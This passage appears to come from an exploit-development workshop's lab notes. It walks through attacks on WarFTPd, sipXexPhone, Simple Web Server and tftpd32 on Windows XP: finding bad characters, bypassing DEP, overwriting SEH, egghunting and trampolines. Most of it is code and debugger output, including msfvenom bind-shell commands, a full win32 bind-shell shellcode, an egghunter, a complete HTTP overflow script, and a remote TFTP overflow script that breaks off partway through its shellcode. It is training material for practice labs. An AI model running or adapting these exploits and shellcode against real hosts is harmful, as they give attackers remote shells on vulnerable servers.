3765"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
3766
3767 -----------------------------------------------------------------------
3768
3769Send this new shellcode string and identify the places where it truncates - these are the bad characters
3770
3771
3772
3773
3774Here is what the string looks like after I manually tested and removed each of the bad characters:
3775 ---------------------------Type This-----------------------------------
3776
3777shellcode = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
3778
3779 -----------------------------------------------------------------------
3780
3781
3782 ---------------------------Type This-----------------------------------
3783
3784./msfvenom -p windows/shell/bind_tcp -f python -b '\x00\x0a\x0d\x40'
3785
3786 -----------------------------------------------------------------------
3787
3788
3789
3790
3791###########################################
3792# Lab 1b: Stack Overflows with DEP Bypass #
3793###########################################
3794
3795Reboot your target host and choose the "2nd" option for DEP.
3796
3797 ---------------------------Type This-----------------------------------
3798
3799cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab1b
3800
3801
3802
3803
3804python warftpd1.py | nc XPSP3-ED-Target-IP 21
3805
3806 At WINDBG prompt
3807 “r” to show registers or “alt+4”
3808
3809 dd esp
3810
3811 -----------------------------------------------------------------------
3812
3813 ---------------------------Type This-----------------------------------
3814
3815python warftpd2.py | nc XPSP3-ED-Target-IP 21
3816
3817
3818 At WINDBG prompt
3819 “r” to show registers or “alt+4”
3820 dd esp
3821 -----------------------------------------------------------------------
3822
3823 Eip: 32714131
3824 esp: affd58 (71413471)
3825
3826 Now we need to SSH into the StrategicSec Ubuntu host
3827 ---------------------------Type This-----------------------------------
3828
3829 cd /home/strategicsec/toolz/metasploit/tools/exploit
3830
3831 ruby pattern_offset.rb 32714131
3832 485
3833
3834 ruby pattern_offset.rb 71413471
3835 493
3836
3837
3838
3839
3840
3841
3842
3843
3844cd /home/strategicsec/toolz/metasploit/tools/exploit
3845
3846ruby pattern_offset.rb 32714131
3847
3848cd /home/strategicsec/toolz/metasploit/
3849
3850./msfpescan -j ESP DLLs/xpsp3/shell32.dll | grep 0x7c9d30d7
3851
3852
3853
3854python warftpd3.py | nc XPSP3-ED-Target-IP 21
3855
3856 0:003> dd eip
3857 0:003> dd esp
3858-----------------------------------------------------------------------
3859
3860INT3s - GOOD!!!!!!!
3861
3862---------------------------Type This-----------------------------------
3863
3864
3865python warftpd4.py | nc XPSP3-ED-Target-IP 21
3866
3867nc XPSP3-ED-Target-IP 4444
3868-----------------------------------------------------------------------
3869
3870
3871strategicsec....exploit no workie!!!!
3872
3873
3874Why????????? DEP!!!!!!!!!!!!!
3875
3876
3877
3878
3879Let's look through ole32.dll for the following instructions:
3880
3881mov al,0x1
3882ret 0x4
3883
3884We need to set al to 0x1 for the LdrpCheckNXCompatibility routine.
3885
3886
3887---------------------------Type This-----------------------------------
3888
3889./msfpescan -D -r "\xB0\x01\xC2\x04" DLLs/xpsp3/ole32.dll
3890-----------------------------------------------------------------------
3891
3892[DLLs/xpsp3/ole32.dll]
38930x775ee00e b001c204
38940x775ee00e mov al, 1
38950x775ee010 ret 4
3896
3897
3898Then we need to jump to the LdrpCheckNXCompatibility routine in
3899ntdll.dll that disables DEP.
3900
3901
3902
3903Inside of ntdll.dll we need to find the following instructions:
3904
3905CMP AL,1
3906PUSH 2
3907POP ESI
3908JE ntdll.7
3909
3910---------------------------Type This-----------------------------------
3911
3912
3913./msfpescan -D -r "\x3C\x01\x6A\x02\x5E\x0F\x84" DLLs/xpsp3/ntdll.dll
3914-----------------------------------------------------------------------
3915
3916[DLLs/xpsp3/ntdll.dll]
39170x7c91cd24 3c016a025e0f84
39180x7c91cd24 cmp al, 1
39190x7c91cd26 push 2
39200x7c91cd28 pop esi
39210x7c91cd29 jz 7
3922
3923
3924This set of instructions makes sure that AL is set to 1, 2 is pushed
3925on the stack then popped into ESI.
3926
3927
3928
3929---------------------------Paste This-----------------------------------
3930
3931
3932dep = "\x0e\xe0\x5e\x77"+\
3933"\xff\xff\xff\xff"+\
3934"\x24\xcd\x91\x7c"+\
3935"\xff\xff\xff\xff"+\
3936"A"*0x54
3937
3938-----------------------------------------------------------------------
3939
3940
3941 #############################
3942 # Start WarFTPd #
3943 # Start WinDBG #
3944 # Press F6 #
3945 # Attach to war-ftpd.exe #
3946 # bp 0x775ee00e #
3947 # g #
3948 #############################
3949
3950
3951---------------------------Type This-----------------------------------
3952
3953
3954python warftpd5.py | nc XPSP3-ED-Target-IP 21
3955
3956-----------------------------------------------------------------------
3957We need to set al to 0x1 for the LdrpCheckNXCompatibility routine.
3958
3959 mov al,0x1
3960 ret 0x4
3961
3962
3963
3964
39650:005> g
3966Breakpoint 0 hit
3967eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58
3968eip=775ee00e esp=00affd58 ebp=00affdb0 iopl=0 nv up ei pl nz ac pe nc
3969cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
3970ole32!CSSMappedStream::IsWriteable:
3971775ee00e b001 mov al,1
3972
3973
39740:001> t
3975eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58
3976eip=775ee010 esp=00affd58 ebp=00affdb0 iopl=0 nv up ei pl nz ac pe nc
3977cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
3978ole32!CSSMappedStream::IsWriteable+0x2:
3979775ee010 c20400 ret 4
3980
3981
3982
3983
3984
3985---------------------------------------------------------------------------
3986Ok, so inside of ntdll.dll we need to find the following instructions:
3987
3988 CMP AL,1
3989 PUSH 2
3990 POP ESI
3991 JE ntdll.7
3992
39930:001> t
3994eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58
3995eip=7c91cd24 esp=00affd60 ebp=00affdb0 iopl=0 nv up ei pl nz ac pe nc
3996cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
3997ntdll!LdrpCheckNXCompatibility+0x13:
39987c91cd24 3c01 cmp al,1
3999
4000
40010:001> t
4002eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58
4003eip=7c91cd26 esp=00affd60 ebp=00affdb0 iopl=0 nv up ei pl zr na pe nc
4004cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
4005ntdll!LdrpCheckNXCompatibility+0x15:
40067c91cd26 6a02 push 2
4007
4008
40090:001> t
4010eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58
4011eip=7c91cd28 esp=00affd5c ebp=00affdb0 iopl=0 nv up ei pl zr na pe nc
4012cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
4013ntdll!LdrpCheckNXCompatibility+0x17:
40147c91cd28 5e pop esi
4015
4016
40170:001> t
4018eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=00000002 edi=00affe58
4019eip=7c91cd29 esp=00affd60 ebp=00affdb0 iopl=0 nv up ei pl zr na pe nc
4020cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
4021ntdll!LdrpCheckNXCompatibility+0x18:
40227c91cd29 0f84df290200 je ntdll!LdrpCheckNXCompatibility+0x1a (7c93f70e) [br=1]
4023
4024
4025---------------------------------------------------------------------------
4026
4027
4028 ---------------------------Type This-----------------------------------
4029
4030python warftpd5.py | nc XPSP3-ED-Target-IP 21
4031
4032nc XPSP3-ED-Target-IP 4444
4033
4034 -----------------------------------------------------------------------
4035
4036##########################
4037# Lab 1c: SEH Overwrites #
4038##########################
4039
4040 #################################################
4041 # On our VictimXP Host (XPSP3-ED-Target-IP) #
4042 # Start sipXexPhone if it isn’t already running #
4043 # Start WinDBG #
4044 # Press “F6” and Attach to sipXexPhone.exe #
4045 # Press “F5” to start the debugger #
4046 #################################################
4047
4048 ---------------------------Type This-----------------------------------
4049
4050cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab1c\sipx_complete
4051
4052
4053
4054python sipex0.py XPSP3-ED-Target-IP
4055
4056 0:003> !exchain
4057 0:003> dds esp
4058 0:003> dds
4059
4060python sipex1.py XPSP3-ED-Target-IP
4061
4062 0:003> !exchain
4063 0:003> g
4064
4065 When looking at !exchain you should see that EIP is 41414141, so let’s add more characters.
4066
4067
4068python sipex2.py XPSP3-ED-Target-IP
4069
4070 0:003> !exchain
4071 0:003> g
4072
4073
4074 ***ssh into instructor Ubuntu host***
4075 cd /home/strategicsec/toolz/metasploit/tools/exploit
4076 ruby pattern_offset.rb 41346941 We should see that SEH is at 252
4077
4078
4079
4080 !load narly
4081 !nmod
4082
4083 ***ssh into the Ubuntu host***
4084 ls /home/strategicsec/toolz/metasploit/DLLs/xpsp3/sipXDLLs/
4085 cd /home/strategicsec/toolz/metasploit/
4086 ./msfpescan -p DLLs/xpsp3/sipXDLLs/sipxtapi.dll
4087
4088 -----------------------------------------------------------------------
4089
4090 #####################################
4091 # sipex3.py in Notepad++. #
4092 # Set cseq = 252 #
4093 # Set seh2 address to: 0x10015977 #
4094 #####################################
4095
4096---------------------------Type This-----------------------------------
4097
4098python sipex3.py XPSP3-ED-Target-IP
4099 0:003> !exchain
4100
4101python sipex4.py XPSP3-ED-Target-IP
4102
4103
4104
4105nc XPSP3-ED-Target-IP 4444
4106
4107 -----------------------------------------------------------------------
4108
4109
4110
4111
4112Brush up on the basics of Structured Exception Handlers:
4113http://www.securitytube.net/video/1406
4114http://www.securitytube.net/video/1407
4115http://www.securitytube.net/video/1408
4116
4117
4118
4119
4120
4121
4122########################################
4123# Lab 2a: Not Enough Space (Egghunter) #
4124########################################
4125
4126---------------------------Type This-----------------------------------
4127
4128cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab2a\sws_skeleton
4129-----------------------------------------------------------------------
4130
4131SWS - SIMPLE WEB SERVER
4132-----------------------
4133
4134Running SWS on Strategicsec-XP-ED-Target-VM
4135Start > Programs > Simple Web Server (it's in the middle somewhere)
4136Red icon in system tray
4137Double click it
4138- it will pop up a menu
4139- select "start"
4140- dialog box shows starting params - port 82
4141
4142WinDBG
4143- attach to "server.exe"
4144
4145---------------------------Type This-----------------------------------
4146
4147python sws1.py | nc XPSP3-ED-Target-IP 82
4148
4149
4150
4151python sws2.py | nc XPSP3-ED-Target-IP 82
4152
4153
4154SSH into the Ubuntu host (user: strategicsec/pass: strategicsec)
4155cd /home/strategicsec/toolz/metasploit/tools/exploit
4156ruby pattern_offset.rb 41356841 <------- You should see that EIP is at 225
4157ruby pattern_offset.rb 68413668 <------- You should see that ESP is at 229
4158
4159
4160-----------------------------------------------------------------------
4161
4162
4163
4164
4165
4166
4167EGGHUNTER:
4168----------
4169
4170"\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74"
4171"\xEF\xB8\x41\x42\x42\x41\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
4172 ^^^^^^^^^^^^^^^^
4173 ABBA
4174 JMP ESP
4175 /
4176 /
4177GET /AAAAAAAAAAA...225...AAAAAAAAAA[ EIP ]$egghunter HTTP/1.0
4178User-Agent: ABBAABBA LARGE SHELLCODE (Alpha2 encoded)
4179
4180
4181
4182
4183-----sws3.py-----
4184#!/usr/bin/python2
4185
4186import os # for output setting
4187import sys
4188import struct # for pack function
4189
4190# turn off output buffer and set binary mode
4191sys.stdout = os.fdopen(sys.stdout.fileno(), 'wb', 0)
4192
4193
4194pad = "A" * 225 # distance to EIP
4195eip = 0x7e429353 # replace EIP to point to "jmp esp" from user32.dll
4196
4197egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74"
4198egghunter += "\xEF\xB8\x41\x42\x42\x41\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
4199
4200shellcode = "\xCC" * 700
4201
4202buf = "GET /"
4203buf += pad + struct.pack('<I', eip) + egghunter
4204buf += " HTTP/1.0\r\n"
4205buf += "User-Agent: ABBAABBA"
4206buf += shellcode
4207buf += " HTTP/1.0\r\n"
4208
4209sys.stdout.write(buf)
4210-----
4211
4212
4213
4214
4215############################################
4216# Lab 2b: Not Enough Space (Negative Jump) #
4217############################################
4218---------------------------Type This-----------------------------------
4219
4220cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab2a\modjk_skeleton
4221-----------------------------------------------------------------------
4222
4223
4224[pad = distance_to_seh - len(shellcode) ] [ shellcode] [jmp4 = "\x90\x90\xEB\x04"] [eip (pop pop ret)] [jmp_min = "\xE9\x98\xEF\xFF\xFF"]
4225
4226 ^
42271 ----------------------1 overflow the buffer---------------------------|
4228
4229 ^ ^
4230 |
4231 2 ----jump over seh record---|
4232
4233 ^ ^
4234 |
4235 3--POP 2 words off stack---|
4236
4237 ^
42384 -----negative jump into NOPs - then into shellcode -----------------------------------------------------------------------------------|
4239
4240
4241#########################################
4242# Lab 2c: Not Enough Space (Trampoline) #
4243#########################################
4244
4245cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab2c\tftpd_skeleton
4246On the Strategicsec-XP-ED-Target-VM VM
4247
4248- open a command prompt
4249- c:\software\tftpd32
4250- run tftpd32.exe
4251- UDP port 69
4252(socket code is already in the scripts)
4253
4254
4255
4256
4257On your attack host please install:
4258
4259
4260 NASM - Netwide Assembler
4261
4262
4263
4264
4265
4266-----------------------------------------------------------------------------------------------------------------
4267
4268
4269We want to generate the shellcode (BIND SHELL on Port 4444)
4270- No restricted characters
4271- Encoder: NONE
4272
4273Create a Python file called dumpshellcode.py
4274
4275---
4276#!/usr/bin/python2
4277
4278import os
4279import sys
4280import struct
4281
4282
4283# win32_bind - EXITFUNC=seh LPORT=4444 Size=317 Encoder=None http://metasploit.com
4284shellcode = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
4285shellcode += "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
4286shellcode += "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
4287shellcode += "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
4288shellcode += "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
4289shellcode += "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
4290shellcode += "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
4291shellcode += "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
4292shellcode += "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
4293shellcode += "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
4294shellcode += "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
4295shellcode += "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
4296shellcode += "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
4297shellcode += "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
4298shellcode += "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
4299shellcode += "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
4300shellcode += "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
4301shellcode += "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
4302shellcode += "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
4303shellcode += "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"
4304
4305sys.stdout.write(shellcode)
4306---
4307
4308---------------------------Type This-----------------------------------
4309
4310
4311python dumpshell.py > bindshell.bin
4312
4313copy bindshellcode.bin into the "c:\Program Files\nasm" directory
4314-----------------------------------------------------------------------
4315
4316
4317
4318Here we saved the raw shellcode generated by metasploit into a file called bindshell.bin
4319317 bindshell.bin
4320---------------------------Type This-----------------------------------
4321
4322C:\Program Files\nasm>ndisasm -b 32 bindshell.bin
4323-----------------------------------------------------------------------
4324
432500000000 FC cld
432600000001 6AEB push byte -0x15
432700000003 4D dec ebp
432800000004 E8F9FFFFFF call dword 0x2
432900000009 60 pushad
43300000000A 8B6C2424 mov ebp,[esp+0x24]
43310000000E 8B453C mov eax,[ebp+0x3c]
433200000011 8B7C0578 mov edi,[ebp+eax+0x78]
433300000015 01EF add edi,ebp
433400000017 8B4F18 mov ecx,[edi+0x18]
43350000001A 8B5F20 mov ebx,[edi+0x20]
43360000001D 01EB add ebx,ebp
43370000001F 49 dec ecx
433800000020 8B348B mov esi,[ebx+ecx*4]
433900000023 01EE add esi,ebp
434000000025 31C0 xor eax,eax
434100000027 99 cdq
434200000028 AC lodsb
434300000029 84C0 test al,al
43440000002B 7407 jz 0x34
43450000002D C1CA0D ror edx,0xd
434600000030 01C2 add edx,eax
434700000032 EBF4 jmp short 0x28
434800000034 3B542428 cmp edx,[esp+0x28]
434900000038 75E5 jnz 0x1f
43500000003A 8B5F24 mov ebx,[edi+0x24]
43510000003D 01EB add ebx,ebp
43520000003F 668B0C4B mov cx,[ebx+ecx*2]
435300000043 8B5F1C mov ebx,[edi+0x1c]
435400000046 01EB add ebx,ebp
435500000048 032C8B add ebp,[ebx+ecx*4]
43560000004B 896C241C mov [esp+0x1c],ebp
43570000004F 61 popad
435800000050 C3 ret
435900000051 31DB xor ebx,ebx
436000000053 648B4330 mov eax,[fs:ebx+0x30]
436100000057 8B400C mov eax,[eax+0xc]
43620000005A 8B701C mov esi,[eax+0x1c]
43630000005D AD lodsd
43640000005E 8B4008 mov eax,[eax+0x8]
436500000061 5E pop esi
436600000062 688E4E0EEC push dword 0xec0e4e8e
436700000067 50 push eax
436800000068 FFD6 call esi
43690000006A 6653 push bx
43700000006C 66683332 push word 0x3233
437100000070 687773325F push dword 0x5f327377
437200000075 54 push esp
437300000076 FFD0 call eax
437400000078 68CBEDFC3B push dword 0x3bfcedcb
43750000007D 50 push eax
43760000007E FFD6 call esi PART 1
437700000080 5F pop edi
437800000081 89E5 mov ebp,esp
437900000083 6681ED0802 sub bp,0x208
438000000088 55 push ebp
438100000089 6A02 push byte +0x2
43820000008B FFD0 call eax
43830000008D 68D909F5AD push dword 0xadf509d9
438400000092 57 push edi
438500000093 FFD6 call esi
438600000095 53 push ebx
438700000096 53 push ebx
4388--------------------------------------------CUTCUTCUTCUTCUT----8<---8<---8<---
438900000097 53 push ebx
439000000098 53 push ebx
439100000099 53 push ebx
43920000009A 43 inc ebx
43930000009B 53 push ebx
43940000009C 43 inc ebx
43950000009D 53 push ebx PART 2
43960000009E FFD0 call eax
4397000000A0 6668115C push word 0x5c11
4398000000A4 6653 push bx
4399000000A6 89E1 mov ecx,esp
4400000000A8 95 xchg eax,ebp
4401000000A9 68A41A70C7 push dword 0xc7701aa4
4402000000AE 57 push edi
4403000000AF FFD6 call esi
4404000000B1 6A10 push byte +0x10
4405000000B3 51 push ecx
4406000000B4 55 push ebp
4407000000B5 FFD0 call eax
4408000000B7 68A4AD2EE9 push dword 0xe92eada4
4409000000BC 57 push edi
4410000000BD FFD6 call esi
4411000000BF 53 push ebx
4412000000C0 55 push ebp
4413000000C1 FFD0 call eax
4414000000C3 68E5498649 push dword 0x498649e5
4415000000C8 57 push edi
4416000000C9 FFD6 call esi
4417000000CB 50 push eax
4418000000CC 54 push esp
4419000000CD 54 push esp
4420000000CE 55 push ebp
4421000000CF FFD0 call eax
4422000000D1 93 xchg eax,ebx
4423000000D2 68E779C679 push dword 0x79c679e7
4424000000D7 57 push edi
4425000000D8 FFD6 call esi
4426000000DA 55 push ebp
4427000000DB FFD0 call eax
4428000000DD 666A64 push word 0x64
4429000000E0 6668636D push word 0x6d63
4430000000E4 89E5 mov ebp,esp
4431000000E6 6A50 push byte +0x50
4432000000E8 59 pop ecx
4433000000E9 29CC sub esp,ecx
4434000000EB 89E7 mov edi,esp
4435000000ED 6A44 push byte +0x44
4436000000EF 89E2 mov edx,esp
4437000000F1 31C0 xor eax,eax
4438000000F3 F3AA rep stosb
4439000000F5 FE422D inc byte [edx+0x2d]
4440000000F8 FE422C inc byte [edx+0x2c]
4441000000FB 93 xchg eax,ebx
4442000000FC 8D7A38 lea edi,[edx+0x38]
4443000000FF AB stosd
444400000100 AB stosd
444500000101 AB stosd
444600000102 6872FEB316 push dword 0x16b3fe72
444700000107 FF7544 push dword [ebp+0x44]
44480000010A FFD6 call esi
44490000010C 5B pop ebx
44500000010D 57 push edi
44510000010E 52 push edx
44520000010F 51 push ecx
445300000110 51 push ecx
445400000111 51 push ecx
445500000112 6A01 push byte +0x1
445600000114 51 push ecx
445700000115 51 push ecx
445800000116 55 push ebp
445900000117 51 push ecx
446000000118 FFD0 call eax
44610000011A 68ADD905CE push dword 0xce05d9ad
44620000011F 53 push ebx
446300000120 FFD6 call esi
446400000122 6AFF push byte -0x1
446500000124 FF37 push dword [edi]
446600000126 FFD0 call eax
446700000128 8B57FC mov edx,[edi-0x4]
44680000012B 83C464 add esp,byte +0x64
44690000012E FFD6 call esi
447000000130 52 push edx
447100000131 FFD0 call eax
447200000133 68F08A045F push dword 0x5f048af0
447300000138 53 push ebx
447400000139 FFD6 call esi
44750000013B FFD0 call eax
4476
4477
4478
4479
4480part1 = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
4481part1 += "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
4482part1 += "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
4483part1 += "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
4484part1 += "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
4485part1 += "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
4486part1 += "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
4487part1 += "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
4488part1 += "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
4489part1 += "\xf5\xad\x57\xff\xd6\x53\x53"
4490
4491
4492part2 = "\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
4493part2 += "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
4494part2 += "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
4495part2 += "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
4496part2 += "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
4497part2 += "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
4498part2 += "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
4499part2 += "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
4500part2 += "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
4501part2 += "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
4502part2 += "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"
4503
4504
4505STACK SHIFTER:
4506prepend = "\x81\xC4\xFF\xEF\xFF\xFF" # add esp, -1001h
4507prepend += "\x44" # inc esp
4508
4509
4510
4511
4512
4513
4514
4515
4516
4517
4518
4519
4520
4521
4522---- final script ----
4523
4524#!/usr/bin/python2
4525#TFTP Server remote Buffer Overflow
4526
4527import sys
4528import socket
4529import struct
4530
4531if len(sys.argv) < 2:
4532 sys.stderr.write("Usage: tftpd.py <host>\n")
4533 sys.exit(1)
4534
4535target = sys.argv[1]
4536port = 69
4537
4538eip = 0x7e429353 # jmp esp in USER32.DLL
4539
4540part1 += "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
4541part1 += "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
4542part1 += "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
4543part1 += "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
4544part1 += "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
4545part1 += "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
4546part1 += "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
4547part1 += "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
4548part1 += "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
